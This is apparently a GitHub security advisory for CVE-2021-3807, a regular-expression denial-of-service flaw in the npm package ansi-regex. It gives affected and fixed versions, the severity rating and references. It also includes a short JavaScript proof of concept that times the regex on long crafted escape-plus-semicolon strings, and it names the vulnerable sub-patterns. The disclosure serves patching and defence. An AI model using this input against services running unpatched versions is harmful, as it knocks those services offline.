GitHub Advisoryadvisory · npm
GHSA-93q8-gq69-wqmw Inefficient Regular Expression Complexity in chalk/ansi-regex
HIGH
Official page ↗
- Aliases
- CVE-2021-3807
- Ecosystem
- npm
- Packages
- ansi-regex
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333, CWE-697
- Reviewed
- 2021-09-20
Affected packages
• npm ansi-regex: >= 6.0.0, < 6.0.1 → fixed in 6.0.1
• npm ansi-regex: >= 5.0.0, < 5.0.1 → fixed in 5.0.1
• npm ansi-regex: >= 4.0.0, < 4.1.1 → fixed in 4.1.1
• npm ansi-regex: >= 3.0.0, < 3.0.1 → fixed in 3.0.1
Description
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
```js
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B"+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
```
The ReDOS is mainly due to the sub-patterns `[[\\#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`
Related
Alias · CVE (1)
- CVE-2021-3807 ansi-regex is vulnerable to Inefficient Regular Expression Complexity vulnerability
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-3807 advisory
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311 web
- https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774 web
- https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1 web
- https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a web
- https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9 web
- https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8 web
- https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908 web
- https://github.com/chalk/ansi-regex package
- https://github.com/chalk/ansi-regex/releases/tag/v6.0.1 web
- https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994 web
- https://security.netapp.com/advisory/ntap-20221014-0002 web
- https://www.oracle.com/security-alerts/cpuapr2022.html web